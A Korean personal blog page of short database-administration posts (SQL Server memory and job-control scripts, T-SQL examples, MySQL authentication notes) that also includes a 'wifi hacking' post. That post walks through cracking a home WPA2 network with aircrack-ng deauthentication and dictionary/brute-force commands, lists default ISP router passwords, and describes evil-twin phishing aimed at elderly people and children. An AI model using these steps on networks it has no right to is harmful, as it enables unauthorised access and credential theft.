블로그 이미지
010-9967-0955 보미아빠

카테고리

보미아빠, 석이 (500)
밥벌이 (16)
싸이클 (1)
일상 (1)
Total
Today
Yesterday

달력

« » 2024.3
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31

공지사항

최근에 올라온 글

'보미아빠, 석이'에 해당되는 글 500건

  1. 2023.07.15 HADR_BACKUP_BULK_LOCK
  2. 2023.07.04 memory check, lpim check
  3. 2023.06.28 화면잠김 끄기
  4. 2023.06.23 at time zone
  5. 2023.05.06 wifi hacking 1
  6. 2023.04.17 string_split
  7. 2023.04.14 job control script
  8. 2023.03.13 mysql caching_sha2_password 2
  9. 2023.03.09 recursive cte
  10. 2023.02.20 그룹중 하나만

HADR_BACKUP_BULK_LOCK

2023. 7. 15. 15:17
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



--2019
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 
SELECT '01' OrderKey,'OS_MEMORY_TOTAL' MemType, physical_memory_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL 
SELECT '02' OrderKey,'SQL_VISIBLE_TARGET_KB' MemType, visible_target_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL 
SELECT '03' OrderKey,'SQL_COMMITTED_KB' MemType, committed_kb PagesKB FROM SYS.DM_OS_SYS_INFO
UNION ALL 
SELECT '04' OrderKey,'OS_MEMORY_CLERKS_TOTAL' MemType, SUM(pages_kb) + sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
UNION ALL 
SELECT * 
FROM 
( 
SELECT TOP 20 '04' OrderKey, type MemType, SUM(pages_kb)  +sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB  FROM SYS.DM_OS_MEMORY_CLERKS
GROUP BY TYPE 
ORDER BY 3 DESC 
) A 
ORDER BY 1,3 DESC


-- lpim check
SELECT a.memory_node_id, node_state_desc, a.locked_page_allocations_kb
FROM sys.dm_os_memory_nodes a
INNER JOIN sys.dm_os_nodes b ON a.memory_node_id = b.memory_node_id


-- old version 
--SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 

--SELECT '01' OrderKey,'OS_MEMORY_TOTAL' MemType, physical_memory_in_bytes/1024 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL 
--SELECT '02' OrderKey,'SQL_VISIBLE_TARGET_KB' MemType, bpool_visible * 8 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL 
--SELECT '03' OrderKey,'SQL_COMMITTED_KB' MemType, bpool_committed * 8 PagesKB FROM SYS.DM_OS_SYS_INFO
--UNION ALL 
--SELECT '04' OrderKey,'OS_MEMORY_CLERKS_TOTAL' MemType, SUM(single_pages_kb) + sum(multi_pages_kb) + sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB FROM SYS.DM_OS_MEMORY_CLERKS
--UNION ALL 
--SELECT * 
--FROM 
--( 
--SELECT TOP 20 '04' OrderKey, type MemType, SUM(single_pages_kb) + sum(multi_pages_kb) +sum(virtual_memory_committed_kb)+sum(awe_allocated_kb)+sum(shared_memory_committed_kb) PagesKB  FROM SYS.DM_OS_MEMORY_CLERKS
--GROUP BY TYPE 
--ORDER BY 3 DESC 
--) A 
--ORDER BY 1,3 DESC
Posted by 보미아빠
, |
$WShell = New-Object -com "Wscript.Shell"
while($true)
{
    $WShell.sendkeys("{SCROLLLOCK}")
    $WShell.sendkeys("{SCROLLLOCK}")
    $date = Get-Date -Format "dddd MM/dd/yyyy HH:mm:ss"
    Write-Host $date + " No sleep with scroll lock"
    Start-Sleep -Seconds 100
}



Posted by 보미아빠
, |

at time zone

카테고리 없음 / 2023. 6. 23. 18:35
; with cte 	
as	
(	
	select [timestamp] at time zone 'Korea Standard Time' kst, * 
	from t230614
) 	
select cast(duration / 1000. as int) milisec, * 	
from cte	
where kst >= '2023-06-14 00:00:00.0000000 +09:00'	
	and statement like '%text%'
	and name = 'sp_statement_completed'
order by kst 	


; with cte 	
as	
(	
	select [timestamp] at time zone 'Korea Standard Time' kst, * 
	from t230614
) 	
select cast(duration / 1000. as int) milisec, * 	
from cte	
where kst >= '2023-06-14 00:00:00.0000000 +09:00'

 

Posted by 보미아빠
, |

wifi hacking

카테고리 없음 / 2023. 5. 6. 01:08

우리집 wifi 를 뚫어보자! 

 

우선 공격 도구로는 kali linux 가 필요하다. 노트북에 직접 설치된 kali linux는 ip a 나 iwconfig를 쳐보면 바로 wifi로 인식한다. 하지만, vmware나 virtual box 같은 가상화 도구를 쓰면, 외부 usb wifi 어댑터가 하나 필요하다. 가상화에서 pci로 연결된 wifi는 가상화 OS에서는 무선 인터넷으로 취급되지 않는다. bridge 모드로 해도 무선랜 모드로 되지 않는다. 왜 그런지는 모르겠다. 2010년대에 나온 어떤 소스로 인식은 시켜 봤는데 안되더라.

 

먼저 내 윈도우에 저장된 무선 wifi 암호는 아래 명령어로 확인 가능하다. bani 가 확인 대상이다. 이렇게 저장되어 있으니 공격자가 공격 패킷을 보내면, 장비가 다시 붙을려고 handshake 를 자동으로 수행한다. 

 

netsh wlan show profiles
netsh wlan show profile bani key=clear

 

아래 부터는 해킹인데, 뭐 그냥 스크립트 키드들이 주로 하는 방법이다. 재미로 봐라.

먼저 virtual box를 설치하고, kali linux 사이트에서 virtual box 이미지를 받아 설치한다. 이후 랜카드를 잡아야 하니 아래와 같은 삽질을 한다. apt-get install dkms 에러가 난다면 /etc/apt/sources.list를 수정한다. (아래 참고)

https://ourcodeworld.com/articles/read/961/how-to-solve-kali-linux-apt-get-install-e-unable-to-locate-package-checkinstall

 

How to solve Kali Linux apt-get install: E: Unable to locate package checkinstall

Learn how to solve the installation error of Check Install in Kali Linux.

ourcodeworld.com

deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali sana main non-free contrib
# deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
# For source package access, uncomment the following line
# deb-src http://old.kali.org/kali moto main non-free contrib

 

apt-get update 를 수행한다. (utf8 관련 에러가 나는데 무시한다. )

apt-get install dkms 가 성공적으로 수행된다.

linux 재부팅

처음 kali 리눅스를 가상화 os를 이용해 wifi를 해킹하려면 usb wifi 드라이버를 설치해야 한다. 참고 https://mandoo12.tistory.com/entry/Linux-rtl88x2bu-driver-%EC%84%A4%EC%B9%98

 

[Linux] 리눅스에 무선랜카드 드라이버 rtl88x2bu 설치

rtl88x2bu driver REALTEK의 RTL88x2B 기반 USB 무선랜카드의 드라이버 설치 파일이다. RTL88x2B USB 무선랜카드를 사용하려면 rtl88x2bu-git.tar 드라이버를 설치해야한다. 1. Kali linux에서 터미널을 실행하고, 아래

mandoo12.tistory.com

 

rtl88x2bu driver REALTEK의 RTL88x2B 기반 USB 무선랜카드의 드라이버 설치 파일이다. RTL88x2B USB 무선랜카드를 사용하려면 rtl88x2bu-git.tar 드라이버를 설치해야한다. 알아서 설치 하시고..

 

기본 해킹 방법

 

# wifi 가 monitoring 모드여야 한다. 아래 명령어로 현재 상태 확인 
iwconfig

# 모니터링 모드로 들어가기  
airmon-ng check kill
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
# airmon-ng start wlan0
# (ifconfig wlan0 up 과 같음)

# 모드 확인 
iwconfig

# 전체 덤프 후 공격 대상 선별 (신호가 크고, WPA2는 클라이언트가 있어야 해킹이 가능) 
airodump-ng wlan0

-c 채널 --bssid 가 공격대상 bssid -w 아웃풋 경로 마지막이 usb wifi  디바이스 명 
airodump-ng -c 6 --bssid AC:9E:17:72:AF:40 -w /home/kali/Desktop/ wlan0

# deAuth 를 해서 공격대상 AP 와 클라이언트가 핸드쉐이크 하도록 한다. 
aireplay-ng -0 10 -a  AC:9E:17:72:AF:40 bani

# 이제 위에 airodump-ng 해서 핸드쉐이크 패킷이 잡혔다고 뜬다. 

# 사전 공격 (학습이니 pass.txt 에 암호가 들어있게 만들어준다.)
# 캡처된 패킷과 암호가 맞으면 키를 찾았다고 뜬다. 
aircrack-ng -w ./pass.txt ./Desktop-02.cap
aircrack-ng -w ./pass.txt ./-02.cap
aircrack-ng -w /usr/share/dict/wordlist-probable.txt /home/kali/Desktop/hs/handshake_ollehWiFi09A1_08-5D-DD-8A-09-A5_2023-05-06T18-56-00.cap

 

아래와 같이 dictionary attack 이 성공할 수도 있지만 사전이 좋아야 한다. 사전은 github에 공개된 것이 많다.

 

git clone "https://github.com/danielmiessler/SecLists.git" /usr/src/SecListsgit

 

위 설명은 그냥 기본적인 설명이고 지루하고 타이핑을 많이 해야 한다. 그래서 python 자동화 공격 도구가 있는데 wifite2 정도가 있다. 일단 이것으로 시작해 패킷을 뜨면 저 위 handshake 패킷 까지는 자동으로 얻어진다. 아래는 암호까지 자동으로 다 크랙된 결과 스크린샷이다. (극적으로 보이게 하려고 암호를 워드 리스트에 추가했다. )

wifite 기본 사전파일 경로는 아래와 같다 . 과거 ap 의 기본 패스워드를 넣어두자.

 

/usr/share/dict/wordlist-probable.txt

 

예전 ap 의 기본 암호

 

1234567890
123456789a
sktelecom
987654321b
a123456789
1234
123456789a
987654321a
1234567890
myLGNetfe07
123456789a
987654321a
1234567890
myLGNetfe07
a0123456789
lguplus002
lguplus100
123456789
a123456789
sktelecom
vkflzmfktkd
16005252
2127393302
534f464354
1234
534F4B4354
SHOW3382
admin

 

아래 예제는 예전 특정 ap 기본 암호가 10자리 숫자였던 적이 있다. 그런 경우를 가정해 계산해 보니 내 노트북으로는 처음부터 넣으면, 10자리 암호는 약 23일이 걸리는 것을 알 수 있었다. 그런데, 해당 wifi 시리얼은 출시 연도부터 시작하는 것을 알고 있으니 좀 더 시간을 줄일 수 있기는 하다.

 

crunch 10 10 0123456789 | aircrack-ng -b AC:9E:17:72:AF:40 ./handshake_bani_AC-9E-17-72-AF-40_2023-05-06T18-52-56.cap -w-

 

그런데, 우리 집에는 3080 그래픽 카드가 있다. 이걸로 풀면 훨씬 빠르다. 그러나, 이렇게 무식하게 풀지 말고 좀 더 현명?하게 하는 방법이 있다. "너의 wifi ap 펌웨어 업데이트가 필요해 업데이트 하려면 wifi 암호를 넣어줘! 라고 wifi 연결된 클라이언트가 어떤 사이트 이던 들어가면 나오게 만드는 것이다." 그래 피싱이다. 피싱에서 가장 많이 쓰는 프로그램은 fluxion 인 듯 하다. 다른 애플리케이션도 있어 보인다. 이 어플은 자동으로 handshake packet을 잡고 fake ap를 만들어주고 web 서버 및 db 서버까지 자동으로 설정해 준다. 구동 시키고 사용자가 이게 뭐지? 펌웨어 업데이트하는데 암호를 넣으라는 건가? 하고 자기 wifi 암호를 입력해주면 입력한 암호가 해커의 db에 저장되는 방식이다. 나이가 지긋하신 분이나 초등학생들은 이런 지식이 없고 암호를 외우고 있는 경우가 가끔 있다. 이분들이 대상이다.

 

http://www.ktword.co.kr/test/view/view.php?m_temp1=1053

 

 

WPA

WPA, WPA2   Wi-Fi Protected Access   (2022-08-03)

www.ktword.co.kr

옆집 WIFI 해킹해서 쓰면 잡혀가는 완전한 불법이다. 뭐 어쩌라고? 지금 이게 우리 보안의 실정이다. 잘 알아서 지켜보자.

 

이하 의미 없는 삽질...그 wap2 일 때 그냥 1초만에 풀리는 뭐 좀 알려주시면 돈까스 쏩니다.

 

iw list
"Supported interface modes"에 monitor가 있을 경우 해당 WNIC는 모니터 모드로 전환 가능하다.

airmon-ng check

아래 파일을 구해서 virtual box 에서 usb wifi 없이 인식시켜 봤는데, 안되더라.

tar -jxvf compat-wireless-2010-06-26-p.tar
make unload
make load
Posted by 보미아빠
, |

string_split

카테고리 없음 / 2023. 4. 17. 10:10
if object_id('tblx') is not null
drop table tblx 
go

create table tblx (idx int identity(1,1))
go

insert into tblx default values;
go 10 

select * 
from tblx 
where idx in 
	(
	select cast(value as int)
	from string_split('2,3', ',')
	)
go
Posted by 보미아빠
, |
-- --------------------------------------------------------------------------------------------------------------
-- job disable enable automation script
-- Use RAISERROR instead of print.
-- --------------------------------------------------------------------------------------------------------------
select @@servername 

use dba 
go

if object_id('AgentJobDisable') is not null
begin 
	drop table AgentJobDisable
end 

create table AgentJobDisable
(
 idx								int identity(1,1)
,workId								int
,job_id								varchar(100)
,name								nvarchar(1000)
,backup_run_requested_date			datetime
,backup_start_execution_date		datetime
,backup_job_history_id				int
,backup_next_scheduled_run_date		datetime 
,insTime							datetime
,disableStartTime					datetime
,disableStopTime					datetime
,isManualStartedYN					varchar(1)
,isManualStartedTime				datetime
,isEnabledYN						varchar(1)
,isEnabledTime						datetime
)
go

declare @workId int = 6
select * from dba.dbo.AgentJobDisable where workId = @workId 


-- --------------------------------------------------------------------------------------------------------------
-- step 1 start
-- WorkId and time must be set.
-- Change workId at once with ctrl - h -> @workId int = 6
-- Get the disable task list.
-- Puts only the task list that needs to run at the specified time into the list.
-- --------------------------------------------------------------------------------------------------------------

use dba 
go
select @@servername 
declare @workId int = 6
declare @disableStartTime datetime = '2023-04-14 12:00:00.000'
declare @disableStopTime datetime  = '2023-04-14 22:50:00.000'
declare @insTime datetime = getdate() 
declare @message nvarchar(3000) = N''

begin try 
	if exists (select * from dba.dbo.AgentJobDisable where workId = @workId)
	begin 
		set @message = @@servername + 'workId ' + cast(@workId as varchar(100)) +' exist.' ;
		throw 51000, @message, 1;  
	end 

	insert into AgentJobDisable
		(
		 workId							
		,job_id							
		,name							
		,backup_run_requested_date		
		,backup_start_execution_date
		,backup_job_history_id			
		,backup_next_scheduled_run_date	
		,insTime						
		,disableStartTime				
		,disableStopTime				
		)
	select @workId, a.job_id, a.name, b.run_requested_date, b.start_execution_date, b.job_history_id, b.next_scheduled_run_date, @insTime, @disableStartTime, @disableStopTime
	from msdb.dbo.sysjobs a 
		cross apply (
			select top 1 * 
			from msdb.dbo.sysjobactivity
			where job_id = a.job_id
			and next_scheduled_run_date >= @disableStartTime
			and next_scheduled_run_date <= @disableStopTime
			order by next_scheduled_run_date desc 
		) b
	where a.enabled = 1
		and name not in ('[hourly]Transaction Log Backup', 'syspolicy_purge_history')
	order by next_scheduled_run_date desc 
end try
begin catch 
	throw; 
end catch 

select @workId workId 
go

-- --------------------------------------------------------------------------------------------------------------
-- step 1 end 
-- --------------------------------------------------------------------------------------------------------------

-- disable job target list 
select @@servername 
declare @workId int = 6
select * from dba.dbo.AgentJobDisable where workId = @workId
go

-- --------------------------------------------------------------------------------------------------------------
-- step 2 start 
-- disable job 
-- Disable all tasks found in the list.
-- --------------------------------------------------------------------------------------------------------------

select @@servername 
declare @workId int = 6
declare @minIdx int 
declare @jobName nvarchar(2000) 
declare @cmd nvarchar(max)
declare @message nvarchar(3000)

begin try 
	select @minIdx = min (idx) from dba.dbo.AgentJobDisable where workId = @workId
	while (1=1)
	begin 
		select @jobName = name from dba.dbo.AgentJobDisable where idx = @minIdx 
		if @@rowcount > 0 
		begin 
			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobDisableStart'
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			set @cmd = 'EXEC msdb.dbo.sp_update_job @job_name = N'''+@jobName+ ''', @enabled = 0'
			
			set @message = @cmd
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			exec (@cmd) 

			update dba.dbo.AgentJobDisable 
				set isEnabledYN = 'N'
				, isManualStartedYN ='N' 
			where idx = @minIdx

			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobDisableCompleted' 
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
		end 
		else 
		begin 
			break; 
		end 
		select top 1 @minIdx = idx from dba.dbo.AgentJobDisable where workId = @workId and idx > @minIdx order by idx asc
		if @@rowcount = 0 
			break; 

		set @message = '*****************************************************************' 
		RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
	end 
end try 
begin catch 
	throw; 
end catch 
go

-- --------------------------------------------------------------------------------------------------------------
-- step 2 end 
-- --------------------------------------------------------------------------------------------------------------

-- just check 
select @@servername 
declare @workId int = 6
select * from dba.dbo.AgentJobDisable where workId = @workId
go
select * from msdb.dbo.sysjobs where enabled = 0

-- --------------------------------------------------------------------------------------------------------------
-- step 3 start 
-- After checking
-- Returns the job that needs to be run.
-- If the checking is finished early, only enable do not run.
-- If the script that was supposed to run didn't run, run and enable it.
-- --------------------------------------------------------------------------------------------------------------

select @@servername 
declare @workId int = 6
declare @minIdx int 
declare @jobName nvarchar(2000) 
declare @job_id nvarchar(100)
declare @cmd nvarchar(max)
declare @backup_next_scheduled_run_date datetime 
declare @disableStartTime datetime
declare @run_requested_date datetime
declare @message nvarchar(3000)

begin try 
	select @minIdx = min (idx) 
	from dba.dbo.AgentJobDisable 
	where workId = @workId

	while (1=1)
	begin 

		set @jobName = ''
		set @job_id = ''

		select top 1 @jobName = name
			, @job_id = job_id
			, @disableStartTime = disableStartTime
		from dba.dbo.AgentJobDisable 
		where idx = @minIdx 
			and isManualStartedYN = 'N'
			and isEnabledYN = 'N'

		if @@rowcount > 0 
		begin 
			select top 1 @backup_next_scheduled_run_date = backup_next_scheduled_run_date from dba.dbo.AgentJobDisable where idx = @minIdx and job_id = @job_id
			if (@backup_next_scheduled_run_date >= @disableStartTime and @backup_next_scheduled_run_date < getdate()) 
			begin 
				if (@jobName = '[daily]cafe_Stat') -- manual job
				begin 
					set @message = 'skipped job : [daily]cafe_Stat'
					RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
				end 
				else 
				begin 
					set @message = @@servername + ' jobName : ' + @jobName +', ** RUN ** commnet : isManualStartedYN N,  backup_next_scheduled_run_date : ' + convert(varchar(max), @backup_next_scheduled_run_date, 121) + ' current time : ' +convert(varchar(max), getdate(), 121)
					RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

					set @cmd = 'EXEC msdb.dbo.sp_start_job @job_name = N'''+@jobName+ ''''
					set @message = @cmd
					RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

					exec (@cmd)

					update dba.dbo.AgentJobDisable set isManualStartedYN = 'Y', isManualStartedTime =getdate() where idx = @minIdx

					set @message = @@servername + ' jobName : ' + @jobName +', commnet : sp_start_job executed'
					RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
				end 				
			end
			else -- does not match time
			begin 
				set @message = @@servername + ' jobName : ' + @jobName +', ** SKIP **, commnet : isManualStartedYN N,  backup_next_scheduled_run_date : ' + convert(varchar(max), @backup_next_scheduled_run_date, 121) + ' current time : ' +convert(varchar(max), getdate(), 121)
				RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
			end 

			-- common job enable 
			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobEnableStart'
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			set @cmd = 'EXEC msdb.dbo.sp_update_job @job_name = N'''+@jobName+ ''', @enabled = 1'
			set @message = @cmd
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			exec (@cmd) 
			update dba.dbo.AgentJobDisable set isEnabledYN = 'Y', isEnabledTime = getdate() where idx = @minIdx

			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobEnableCompleted' 
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
			
			set @message = '*****************************************************************' 
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT
		end 
		else -- no more job
		begin 
			break; 
		end 
		select top 1 @minIdx = idx from dba.dbo.AgentJobDisable where workId = @workId and idx > @minIdx order by idx asc
		if @@rowcount = 0 
			break; 
	end 
end try 
begin catch 
	throw; 
end catch 
go

-- --------------------------------------------------------------------------------------------------------------
-- step 3 end 
-- --------------------------------------------------------------------------------------------------------------

-- just check 
select @@servername 
declare @workId int = 6
select * from dba.dbo.AgentJobDisable where workId = @workId
go

sp_readerrorlog 
select * from msdb.dbo.sysjobs where enabled = 0

-- --------------------------------------------------------------------------------------------------------------
-- job enable script start
-- --------------------------------------------------------------------------------------------------------------
select @@servername 
declare @workId int = 6
select * from dba.dbo.AgentJobDisable where workId = @workId
go

select @@servername 
declare @workId int = 6
declare @minIdx int 
declare @jobName nvarchar(2000) 
declare @job_id nvarchar(100)
declare @cmd nvarchar(max)
declare @next_scheduled_run_date datetime 
declare @disableStartTime datetime
declare @run_requested_date datetime
declare @message nvarchar(3000)

begin try 
	update dba.dbo.AgentJobDisable 
	set isEnabledYN = 'N' 
	where workId = @workId 

	select @minIdx = min (idx) 
	from dba.dbo.AgentJobDisable 
	where workId = @workId

	while (1=1)
	begin 

		set @jobName = ''
		set @job_id = ''


		select top 1 @jobName = name
			, @job_id = job_id
			, @disableStartTime = disableStartTime
		from dba.dbo.AgentJobDisable 
		where idx = @minIdx 
			and isEnabledYN = 'N'

		if @@rowcount > 0 
		begin 
			-- common job enable (항상 활성화 시킨다.)
			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobEnableStart'
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			set @cmd = 'EXEC msdb.dbo.sp_update_job @job_name = N'''+@jobName+ ''', @enabled = 1'

			set @message = @cmd
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

			exec (@cmd) 
			update dba.dbo.AgentJobDisable set isEnabledYN = 'Y', isEnabledTime = getdate() where idx = @minIdx
			
			set @message = @@servername + ' idx : ' + cast(@minIdx as varchar(max)) + ' workId : ' + cast(@workId as varchar(max)) + ' jobName : ' + @jobName + ' jobEnableCompleted' 
			RAISERROR(@message, 1,1 ) WITH LOG, NOWAIT

		end 
		else 
		begin 
			break; 
		end 
		select top 1 @minIdx = idx from dba.dbo.AgentJobDisable where workId = @workId and idx > @minIdx order by idx asc
		if @@rowcount = 0 
			break; 
	end 
end try 
begin catch 
	throw; 
end catch 
go

-- -------------------------------------------
-- job enable script end
-- -------------------------------------------
Posted by 보미아빠
, |
  • 서버에서 caching_sha2_password 가 설정되면 connection string에  SslMode=none;ServerRsaPublicKeyFile=file.pem 옵션이 적용 가능함
  • 해당 file.pem 을 얻기 위해 아래 명령은 mysql 서버에서 실행 
SHOW STATUS LIKE 'Caching_sha2_password_rsa_public_key';
  • 결과중 아래 형식만 file.pem으로 저장 후 메일로 전달 (아래는 일부러 비정상 파일을 만들었음 키 정합성이 맞지 않음)
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnbV9QkygOGEzBsUBU2Ac
    Bnm/jBPs21lE7BxJRLudQx22s/0uXQAkG8e+O/sjGHLQlntUCYPMNQ4W3DNXLhXP
    v/W4KHmbYsVcWbMn3kZeCiuy7QTR4BUmDq2+QUYB1bk9twzToD7lNUny5cP+88Lf
    MjLF7bSYQCL3w+D53FKbnsT9uQSmS/+VhpNPWzrOZTJsiaSG/dDoCdx9fYhdUxWY
    bYo1UEA+nGAtEF7eYJrTPeAFlWlgDmzj5cyWO1CpEfLnazWl/RhuHRxb8gI/T+nL
    9qr0wLVZXt/ssEt74nolV5sKesX+QPQ8cJS3aWw4JDphqSMQaR2ZyAwX2nhYJlg8
    jwIDAQAB
    -----END PUBLIC KEY-----
  • 위 옵션은 .net 의 경우, Oracle의 MySQL.Data에서는 지원하지 않고 MySqlConnector 에서만 지원 가능함(23년 3월 13일 까지는 지원 안함)
  • MySQL.Data와 MySqlConnector에서 SslMode=none;AllowPublicKeyRetrieval=true 옵션을 사용해 접근할 수 있고, 이 옵션은 MITM 공격에 취약함 (중간자 공격)
  • 클라이언트에서 위 두 가지 방법중 아무것도 적용을 하지 않으면, 최초 접근이 실패하고 서버가 시작되고 한번이라도 성공한 커넥션이 있으면 접속 가능

https://mysqlconnector.net/connection-options/

 

MySQL Connection String for C# .NET Core Programs - MySqlConnector

MySqlConnector is a high-performance, asynchronous C# ADO.NET driver for MySQL Server, MariaDB, Amazon Aurora, Azure Database for MySQL, Google Cloud SQL for MySQL, Percona Server and more.

mysqlconnector.net

https://mysqlconnector.net/troubleshooting/retrieval-public-key/

 

Fix: Retrieval of the RSA public key is not enabled for insecure connections - MySqlConnector

Fixing 'Retrieval of the RSA public key is not enabled for insecure connections' error by using MySqlConnector and AllowPublicKeyRetrieval=True in the connection string.

mysqlconnector.net

sha256_password_auto_generate_rsa_keys

caching_sha2_password_auto_generate_rsa_keys

default_authentication_plugin = caching_sha2_password

 

Posted by 보미아빠
, |

recursive cte

카테고리 없음 / 2023. 3. 9. 06:41
-- recursive cte example

if object_id ('emp') is not null
drop table emp 
go

create table emp
(empId int
, empName nvarchar(100) 
, managerId int
) 
go

insert into emp (empId, empName, managerId)
select empId, empName, managerId 
from 
	( 
	  values 
	  (1 , 'name1', 3 )    -- level2
	, (2 , 'name2', 3 )    -- level2
	, (3 , 'name3', null ) -- level1
	, (4 , 'name4', 2 )    -- level3  
	, (5 , 'name5', 2 )    -- level3  
	, (6 , 'name6', 2 )    -- level3  
	, (7 , 'name7', 1 )    -- level3  
	, (8 , 'name8', 1 )    -- level3  
	, (9 , 'name9', 1 )    -- level3  
	, (10, 'name10', 9 )   -- level4
	) a (empId, empName, managerId)
go

; with empCte
as 
(
-- recursive anchor query
select empId, empName, managerId, 1 memLevel
from emp 
where empId = 3

union all 

-- recursive target query 
select b.empId, b.empName, b.managerId, a.memLevel + 1 memLevel
from empCte a -- anchor 
	join emp b 
	on b.managerId = a.empId 
)
-- cooking 
select a.empId, a.empName, isnull(b.empName, 'no parent') managerName, a.memLevel
from empCte a
	left join emp b
	on b.empId = a.managerId
order by 1

 

Posted by 보미아빠
, |
if object_id ('temp') is not null
drop table temp 
go

create table temp
(id varchar(20)
, time time 
, product varchar(100)
) 
go

insert into temp (id, time, product)
select id, time, product 
from 
	( 
	  values 
	  ('A', '08:10', 'pizza' )
	, ('A', '09:55', 'noodle' )
	, ('B', '12:30', 'pizza' )
	) a (id, time, product)
go

-- Consider the pros and cons of both queries.
-- 1 
; with a
as 
(
select row_number() over (partition by id order by time asc) rn , * 
from temp 
)
select *
from a 
where rn = 1 

-- 2
select b.*
from 
	(
	select distinct id 
	from temp a
	) a
	cross apply 
	(
	select top 1 * 
	from temp 
	where id = a.id
	order by time 
	) b
Posted by 보미아빠
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함